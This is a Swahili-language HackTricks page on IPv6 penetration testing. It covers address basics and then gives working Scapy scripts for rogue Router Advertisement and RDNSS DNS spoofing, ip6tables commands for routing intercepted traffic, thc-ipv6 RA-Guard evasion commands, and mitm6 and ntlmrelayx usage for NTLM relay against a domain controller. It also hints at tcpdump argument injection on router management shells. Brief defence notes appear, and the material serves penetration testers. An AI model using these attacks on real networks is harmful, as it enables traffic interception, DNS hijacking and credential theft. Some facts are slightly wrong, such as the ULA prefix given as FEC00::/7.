Pentesting IPv6
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
IPv6 Nadharia ya Msingi
Mitandao
IPv6 addresses zimetengenezwa ili kuboresha upangaji wa mtandao na mwingiliano wa vifaa. Anwani ya IPv6 imegawanywa kwa:
- Network Prefix: 48 bits za mwanzo, zinazobainisha sehemu ya mtandao.
- Subnet ID: 16 bits zinazofuata, zinazoelezea subnets maalum ndani ya mtandao.
- Interface Identifier: 64 bits za mwisho, zinatambua kifaa kwa njia ya kipekee ndani ya subnet.
Wakati IPv6 inapuuza protocol ya ARP inayopatikana kwenye IPv4, inaleta ICMPv6 yenye ujumbe kuu mbili:
- Neighbor Solicitation (NS): Ujumbe za multicast kwa utambuzi wa anwani.
- Neighbor Advertisement (NA): Majibu za unicast kwa NS au matangazo ya hiari.
IPv6 pia ina aina maalum za anwani:
- Loopback Address (
::1): Sawia na127.0.0.1ya IPv4, kwa mawasiliano ya ndani ya host. - Link-Local Addresses (
FE80::/10): Kwa shughuli za mtandao wa ndani, si kwa routing ya intaneti. Vifaa kwenye mtandao huo huo wa ndani vinaweza kujitambua kwa kutumia safu hii.
Matumizi ya Vitendo ya IPv6 katika Amri za Mtandao
Ili kuingiliana na mitandao ya IPv6, unaweza kutumia amri mbalimbali:
- Ping Link-Local Addresses: Angalia uwepo wa vifaa vya ndani kwa kutumia
ping6. - Neighbor Discovery: Tumia
ip neighkuona vifaa vilivyogunduliwa kwenye tabaka la link. - alive6: Zana mbadala ya kugundua vifaa kwenye mtandao huo huo.
Hapa chini kuna mifano ya amri:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
Anwani za IPv6 zinaweza kutolewa kutoka kwa anwani ya MAC ya kifaa kwa ajili ya mawasiliano ya ndani. Hapa kuna mwongozo uliorahisishwa wa jinsi ya kutoa anwani ya Link-local IPv6 kutoka anwani ya MAC iliyojulikana, na muhtasari mfupi wa aina za anwani za IPv6 na mbinu za kugundua anwani za IPv6 ndani ya mtandao.
Kutoa Link-local IPv6 kutoka Anwani ya MAC
Ikizingatiwa anwani ya MAC 12:34:56:78:9a:bc, unaweza kujenga anwani ya Link-local IPv6 kama ifuatavyo:
- Badilisha MAC kuwa muundo wa IPv6:
1234:5678:9abc - Weka
fe80::mwanzoni na ingizafffekatikati:fe80::1234:56ff:fe78:9abc - Geuza bit ya saba kutoka kushoto, ubadilishe
1234kuwa1034:fe80::1034:56ff:fe78:9abc
Aina za Anwani za IPv6
- Unique Local Address (ULA): Kwa mawasiliano ya ndani, haikusudiwi kwa routing ya intaneti ya umma. Prefiksi:
FEC00::/7 - Multicast Address: Kwa mawasiliano ya mmoja-kwa-wengi. Inawasilishwa kwa interfaces zote zilizo kwenye kundi la multicast. Prefiksi:
FF00::/8 - Anycast Address: Kwa mawasiliano ya mmoja-kwa-karibu zaidi. Inatumwa kwa interface iliyo karibu zaidi kulingana na protocol ya routing. Sehemu ya anuwai ya global unicast
2000::/3.
Prefiksi za Anwani
- fe80::/10: Anwani za Link-Local (sawa na 169.254.x.x)
- fc00::/7: Unique Local-Unicast (sawa na anuwai za IPv4 za faragha kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
- 2000::/3: Global Unicast
- ff02::1: Multicast All Nodes
- ff02::2: Multicast Router Nodes
Kugundua Anwani za IPv6 ndani ya Mtandao
Njia 1: Kutumia Anwani za Link-local
- Pata anwani ya MAC ya kifaa ndani ya mtandao.
- Tengeneza anwani ya Link-local IPv6 kutoka anwani ya MAC.
Njia 2: Kutumia Multicast
- Tuma ping kwa anwani ya multicast
ff02::1ili kugundua anwani za IPv6 kwenye mtandao wa ndani.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
Kuna mbinu kadhaa za kutekeleza MitM attacks katika mitandao ya IPv6, kama vile:
- Spoofing ICMPv6 neighbor or router advertisements.
- Kutumia ICMPv6 redirect au ujumbe wa “Packet Too Big” ili kuathiri routing.
- Attacking mobile IPv6 (kawaida inahitaji IPSec kuzimwa).
- Kusanidi rogue DHCPv6 server.
Kutambua Anwani za IPv6 katika uwanja
Kuchunguza Subdomains
Njia ya kupata subdomains ambazo zinaweza kuunganishwa na anwani za IPv6 ni kutumia mashine za utafutaji. Kwa mfano, kutumia muundo wa utafutaji kama ipv6.* inaweza kuwa na ufanisi. Hasa, amri ifuatayo ya utafutaji inaweza kutumika kwenye Google:
site:ipv6./
Kutumia Maswali ya DNS
Ili kubaini anwani za IPv6, aina fulani za rekodi za DNS zinaweza kuhojiwa:
- AXFR: Inaomba uhamisho kamili wa zone, jambo ambalo linaweza kufichua aina nyingi za rekodi za DNS.
- AAAA: Inatafuta moja kwa moja anwani za IPv6.
- ANY: Swali pana ambalo hurudisha rekodi zote za DNS zinazopatikana.
Kuchunguza kwa Ping6
Baada ya kubaini anwani za IPv6 zinazohusiana na shirika, zana ya ping6 inaweza kutumika kwa ajili ya kuchunguza. Zana hii husaidia kutathmini uwasilishaji wa majibu ya anwani za IPv6 zilizobainiwa, na pia inaweza kusaidia kugundua vifaa vya IPv6 vilivyopo jirani.
IPv6 Local Network Attack Techniques
Sehemu zifuatazo zinaelezea mashambulizi ya vitendo ya layer-2 ya IPv6 yanayoweza kutekelezwa ndani ya sehemu ile ile ya /64 bila kujua global prefix yoyote. Vifurushi vyote vilivyoonyesha hapa chini ni link-local na husafiri tu kupitia switch ya ndani, na kuifanya kuwa siri katika mazingira mengi.
Kusawazisha Mfumo kwa Maabara Thabiti
Kabla ya kuchezea trafiki ya IPv6, inashauriwa kuimarisha kifaa chako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa massive packet injection/sniffing.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passive NDP & DHCPv6 Sniffing
Kwa sababu kila mwenyeji wa IPv6 hujiunga moja kwa moja na vikundi vingi vya multicast (ff02::1, ff02::2, …) na hutumia ICMPv6 kwa ajili ya SLAAC/NDP, unaweza kuchora ramani ya sehemu nzima bila kutuma hata kifurushi kimoja. The following Python/Scapy one-liner husikiliza ujumbe za L2 zinazovutia zaidi na kuchapisha logi yenye rangi na alama ya wakati inayoonyesha ni nani ni nani:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Matokeo: link-local topology kamili (MAC ⇄ IPv6) ndani ya sekunde chache, bila kuamsha mifumo ya IPS/IDS inayotegemea active scans.
Router Advertisement (RA) Spoofing
Vifaa vya IPv6 vinategemea ICMPv6 Router Advertisements kwa ajili ya ugunduzi wa gateway ya chaguo-msingi. Iwapo utaingiza RAs bandia kwa mara nyingi zaidi kuliko router halali, vifaa vitahamia kwako kimya kimya kama gateway.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Ili kwa kweli kupeleka trafiki baada ya kushinda mbio:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Bendera za Router Advertisement (M/O) & Mapendeleo ya Router ya Chaguo-msingi (Prf)
| Bendera | Maana | Athari kwa Tabia ya Mteja |
|---|---|---|
| M (Managed Address Configuration) | Inatuma ishara kwamba stateful addressing via DHCPv6 inapatikana kwenye segment. | Kiashiria chenye nguvu kwamba DHCPv6 spoofing inaweza kufanya kazi. |
| O (Other Configuration) | Inatuma ishara kwamba hosts zinapaswa kutumia DHCPv6 kwa parameta nyingine (DNS, NTP, …). | Anwani bado kwa kawaida hutoka kwa SLAAC, lakini DNS inaweza kuibiwa kwa DHCPv6. |
| M=0 / O=0 | Mtandao wa mtindo wa SLAAC safi. | DHCPv6 huenda isiwahi kuonekana; zingatia rogue RA / RDNSS badala ya mitm6. |
| M=1 / O=1 | Mazingira mchanganyiko. | DHCPv6 na taarifa za SLAAC zinaweza kuwepo pamoja; eneo la spoofing ndilo kubwa zaidi. |
During a pentest you can simply inspect the legitimate RA once and decide which vector is feasible:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
Tafuta uwanja flags [M,O] katika dump – hakuna kukisia kunahitajika.
Uwanja wa Prf (Router Preference) ndani ya kichwa cha RA unadhibiti jinsi router yako ya udukuzi inavyoonekana kuvutia wakati gateway nyingi zipo:
| Thamani ya Prf | Binary | Maana |
|---|---|---|
| Juu | 10 | Wateja wanapendelea router hii kuliko yoyote yenye Kati/Chini |
| Kati (chaguo-msingi) | 01 | Inatumiwa na karibu kila kifaa halali |
| Chini | 00 | Inachaguliwa tu wakati hakuna router bora |
Unapotengeneza packet kwa kutumia Scapy unaweza kuiweka kupitia parameter prf kama ilivyoonyeshwa hapo juu (prf=0x1 → High). Kuunganisha Prf Juu, kipindi kifupi, na muda wa maisha usio sifuri hufanya gateway yako ya udukuzi kuwa imara sana.
RDNSS (DNS) Spoofing via RA
RFC 8106 inaruhusu kuongeza chaguo la Recursive DNS Server (RDNSS) ndani ya RA. Hii ndiyo DNS hijack primitive inayotumika wakati segment ni SLAAC-only (M=0 / O=0) na wateja hawazungumzi na DHCPv6. Msaada wa wateja unategemea utekelezaji, kwa hivyo thibitisha OS ya lengo katika maabara badala ya kudhani matumizi ya RDNSS yatakuwa ya kimataifa.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Peketi ile ile pia inaweza kubeba chaguo DNSSL ili kuweka sumu kwenye njia za kutatua majina mafupi katika mazingira ya IPv6-tu au dual-stack ambapo domain za utafutaji zina umuhimu. Ukisimamisha shambulio kwa usafi, tuma revert RA yenye chaguo ile ile na lifetime=0.
Kuepuka RA-Guard kwa vitendo
RFC 7113 inaelezea kwa nini utekelezaji rahisi wa RA-Guard unaweza kupitilizwa pale yanaposhindwa kuchambua mnyororo mzima wa vichwa vya IPv6 au yanapofeli kufungua (fail open) kwenye vifurushi vilivyogawanyika. Hii si utafiti mpya, lakini bado ina umuhimu wa kiutendaji kwa sababu swichi nyingi za access hufanya tu uchujaji wa sehemu.
Matoleo ya hivi karibuni ya thc-ipv6 yanaonyesha hili moja kwa moja katika zana:
# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64
# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64
# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0
Tumia hizi tu baada ya kuthibitisha kwamba RA iliyotengenezwa kawaida inachujwa. Ikiwa -H/-D/-F ghafla inafanya hosts kukubali router haramu yako, una ushahidi kwamba swichi inalinganisha tu header ya IPv6 iliyowekwa badala ya payload halisi ya ICMPv6 RA.
DHCPv6 DNS Spoofing (mitm6)
Wakati RA halali inapendekeza M na/au O, wateja wa Windows kwa kawaida hutuma maombi ya DHCPv6 kwa anwani au usanidi wa ziada. mitm6 hutumia tabia hiyo kwa kujibu DHCPv6 na kuingiza link-local IPv6 yako kama DNS kwa lease fupi. Hii inafungua:
- NTLM relay attacks (WPAD + DNS hijacking)
- Kukamata internal name resolution bila kugusa routers
- Uwalengo wa kelele ndogo kwa sababu unaweza kufupisha poisoning kwa hosts au domains maalum
Matumizi ya kawaida:
# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus
# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad
Maelezo muhimu kutoka kwa builds za sasa za mitm6:
--no-rahufanya attack kuwa DHCPv6-tu wakati mtandao unapotambua rogue RAs.-d/--domainna--host-allowlistzinafanya poisoning iwe mdogo badala ya hijacking kila query kwenye segment.--ignore-nofqdninapunguza kelele kutoka kwa clients zinazokosa chaguo la DHCPv6 FQDN.
Ikiwa segment ni pure SLAAC (M=0 / O=0), mitm6 kwa kawaida sio primitive sahihi. Tumia rogue RAs / RDNSS badala yake, na wahifadhi logic ya relay ya ngazi ya juu kwenye the WPAD/relay page.
Ulinzi
- RA Guard / DHCPv6 Guard / ND Inspection kwenye managed switches.
- Port ACLs ambazo zinamruhusu MAC ya router halali pekee kutuma RAs.
- Chunguza kwa unexpected high-rate RAs au ghafla RDNSS changes.
- Kuzima IPv6 kwenye endpoints ni suluhisho la muda ambalo mara nyingi huvunja huduma za kisasa na huficha blind spots – tumia L2 filtering badala yake.
NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure
Routers nyingi za watumiaji zinafunua management daemons (HTTP(S), SSH/Telnet, TR-069, nk.) kwenye interfaces zote. Katika deployments fulani, SSID ya “guest/public” imebridged na WAN/core na ni IPv6-tu. Hata kama IPv6 ya router hubadilika kila boot, unaweza kujifunza kwa uhakika kwa kutumia NDP/ICMPv6 na kisha ku-direct-connect kwenye management plane kutoka kwenye guest SSID.
Mtiririko wa kawaida kutoka kwa client aliyounganishwa kwenye guest/public SSID:
- Gundua router kupitia ICMPv6 Router Solicitation kwa All-Routers multicast
ff02::2na chukua Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
RA inaonyesha link-local ya router na mara nyingi pia anwani/kipenyo ya global. Ikiwa link-local pekee inajulikana, kumbuka kwamba muunganisho lazima ubainishe zone index, kwa mfano ssh -6 admin@[fe80::1%wlan0].
Chaguo mbadala: tumia ndisc6 suite ikiwa inapatikana:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Fikia huduma zilizo wazi kupitia IPv6 kutoka kwenye SSID ya wageni:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- Ikiwa management shell inatoa zana za packet-capture kupitia wrapper (mfano, tcpdump), angalia kwa injection ya vigezo/majina ya faili inayoruhusu kupitisha flag za ziada za tcpdump kama
-G/-W/-zili kupata utekelezaji wa amri baada ya rotate. Tazama:
Ulinzi/maelezo:
- Usifunge management kwenye guest/public bridges; tumia IPv6 firewalls kwenye SSID bridges.
- Weka rate-limit na chuja NDP/RS/RA kwenye segmenti za wageni pale inapowezekana.
- Kwa huduma ambazo lazima zipatikane, ilazimishe authN/MFA na rate-limits kali.
Marejeo
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 7113 – RA-Guard Implementation Advice
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


